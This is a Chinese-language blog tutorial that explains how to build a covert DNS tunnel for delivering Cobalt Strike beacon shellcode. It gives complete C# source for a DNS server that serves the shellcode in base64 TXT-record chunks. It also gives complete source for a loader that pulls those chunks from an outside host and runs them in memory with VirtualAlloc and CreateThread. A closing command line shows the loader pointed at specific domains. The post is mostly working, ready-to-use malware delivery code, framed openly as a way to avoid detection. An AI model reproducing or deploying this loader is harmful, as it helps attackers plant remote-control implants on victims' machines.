相比于http协议,dns协议有着更好的隐蔽性。类比cs的dns beacon,我们可以自己实现一个dns服务器来传输shellcode。C#拥有一个优秀的第三方库ARSoft.Tools.Net
。我们可以使用他来进行dns查询和自建dns服务器。
因为dns为递归查询,所以dns的数据最终会被我们的vps接收。而对比cs的dns传输,我们需要设计一个传输规范,规定哪部分为command,哪部分为data。
我所需要的只是一个传输隧道,而dns server只需要发送cs的bin数据包过来就可以。
设计一个流程图
新建一个.net4.0的控制台项目,安装ARSoft.Tools.Net,因为.net版本问题,我们需要安装低版本的ARSoft.Tools.Net。
实现一个dns server
1using ARSoft.Tools.Net.Dns;
2using System;
3using System.IO;
4using System.Linq;
5using System.Net;
6
7namespace SharpDNS
8{
9 class Program
10 {
11 static Byte[] bytes;
12 static void Main(string[] args)
13 {
14 if (args.Length<1)
15 {
16 Console.WriteLine("SharpDNS.exe beacon.bin");
17 return;
18 }
19 bytes = ReadBeacon(args[0]);
20
21 using (DnsServer server = new DnsServer(IPAddress.Any, 10, 10, ProcessQuery))
22 {
23 server.Start();
24 Console.WriteLine("Dns Server Start.");
25 Console.ReadLine();
26 }
27 }
28
29 static DnsMessageBase ProcessQuery(DnsMessageBase message, IPAddress clientAddress, System.Net.Sockets.ProtocolType protocol)
30 {
31 message.IsQuery = false;
32 DnsMessage query = message as DnsMessage;
33
34 string domain = query.Questions[0].Name;
35 // length.dns.test.local
36 // r.500.200.dns.test.local
37 string[] sp = domain.Split('.');
38 string command = sp[0];
39
40 if (command.Equals("length"))
41 {
42 Console.WriteLine("Contains Length");
43
44 query.AnswerRecords.Add(new TxtRecord(domain, 0, bytes.Length.ToString()));
45 message.ReturnCode = ReturnCode.NoError;
46 return message;
47 }
48 if (command.Equals("r"))
49 {
50
51 Console.WriteLine(domain);
52 try
53 {
54 int hasReceive = int.Parse(sp[1]);
55 int requireReceive = int.Parse(sp[2]);
56 Console.WriteLine("hasReceive length:{0},require reveive byte length:{1}", hasReceive, requireReceive);
57 Byte[] sendByte = bytes.Skip(hasReceive).Take(requireReceive).ToArray();
58 string sendString = Convert.ToBase64String(sendByte);
59 Console.WriteLine(sendString);
60 query.AnswerRecords.Add(new TxtRecord(domain, 0, sendString));
61 }
62 catch (Exception e)
63 {
64 Console.WriteLine(e.Message);
65 }
66 message.ReturnCode = ReturnCode.NoError;
67 return message;
68 }
69 message.ReturnCode = ReturnCode.Refused;
70 return message;
71 }
72 static Byte[] ReadBeacon(string path)
73 {
74 Byte[] b = File.ReadAllBytes(path);
75 Console.WriteLine("ReadBeacon File Length:{0}", b.Length);
76 return b;
77 }
78 }
79}
生成beancon.bin shellcode
使用nslookup可以看到成功处理了我们的dns请求。
wireshark抓到的包也成功返回了正确的beacon shellcode 长度。
然后在看下r.0.200.dns.test.local
的数据
也正确接收到了base64的分片shellcode。接下来看client的代码。
1using ARSoft.Tools.Net.Dns;
2using System;
3using System.Collections.Generic;
4using System.Net;
5using System.Runtime.InteropServices;
6
7namespace DnsLoader
8{
9 class Program
10 {
11 static string dns;
12 static void Main(string[] args)
13 {
14 string domain = args[0];
15 dns = args[1];
16 long len = QueryLength(domain);
17 int requireReceive = int.Parse(args[2]);
18
19 List<byte> bytes = new List<byte> { };
20 for (int i = 0; i < len; i++)
21 {
22 int hasReceive = bytes.Count;
23 if (hasReceive == len)
24 {
25 Console.WriteLine("接收完毕");
26 break;
27 }
28 string rev = ClientQuery("r." + hasReceive.ToString() + "." + requireReceive.ToString() + "." + domain);
29 if (rev.Equals(null))
30 {
31 Console.WriteLine("dns 查询错误");
32 return;
33 }
34 byte[] b = Convert.FromBase64String(rev);
35 bytes.AddRange(b);
36 //Console.WriteLine(rev);
37 }
38
39 Console.WriteLine(bytes.Count);
40 if (bytes.Count != 0)
41 {
42 inject(bytes.ToArray());
43 }
44 }
45
46 public static long QueryLength(string domain)
47 {
48 long len = 0;
49 string l = ClientQuery("length." + domain);
50 bool success = Int64.TryParse(l, out len);
51 if (success)
52 {
53 return len;
54 }
55 else
56 {
57 return 0;
58 }
59 }
60
61
62 public static String ClientQuery(string domain)
63 {
64 List<IPAddress> dnss = new List<IPAddress> { };
65 dnss.AddRange(Dns.GetHostAddresses(dns));
66 var dnsClient = new DnsClient(dnss, 60);
67 DnsMessage dnsMessage = dnsClient.Resolve(domain, RecordType.Txt);
68 if ((dnsMessage == null) || ((dnsMessage.ReturnCode != ReturnCode.NoError) && (dnsMessage.ReturnCode != ReturnCode.NxDomain)))
69 {
70 Console.WriteLine("DNS request failed");
71 return null;
72 }
73 else
74 {
75 foreach (DnsRecordBase dnsRecord in dnsMessage.AnswerRecords)
76 {
77 TxtRecord txtRecord = dnsRecord as TxtRecord;
78 if (txtRecord != null)
79 {
80 return txtRecord.TextData.ToString();
81 }
82 }
83 return null;
84 }
85 }
86
87
88 [DllImport("kernel32")]
89 private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
90 [DllImport("kernel32")]
91 private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
92 [DllImport("kernel32")]
93 private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
94 public static void inject(Byte[] buffer)
95 {
96 UInt32 MEM_COMMIT = 0x1000;
97 UInt32 PAGE_EXECUTE_READWRITE = 0x40;
98 UInt32 funcAddr = VirtualAlloc(0x0000, (UInt32)buffer.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
99 Marshal.Copy(buffer, 0x0000, (IntPtr)(funcAddr), buffer.Length);
100 IntPtr hThread = IntPtr.Zero;
101 UInt32 threadId = 0x0000;
102 IntPtr pinfo = IntPtr.Zero;
103 hThread = CreateThread(0x0000, 0x0000, funcAddr, pinfo, 0x0000, ref threadId);
104 WaitForSingleObject(hThread, 0xffffffff);
105 }
106 }
107}
成功拿到beacon。
注意的是dns的txt解析一次不能传输太多,我测试的时候用的2000没什么问题。
1DnsLoader.exe cdn.jdcdn.ga dns.jdcdn.ga 2000
dns的解析记录这么设置
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。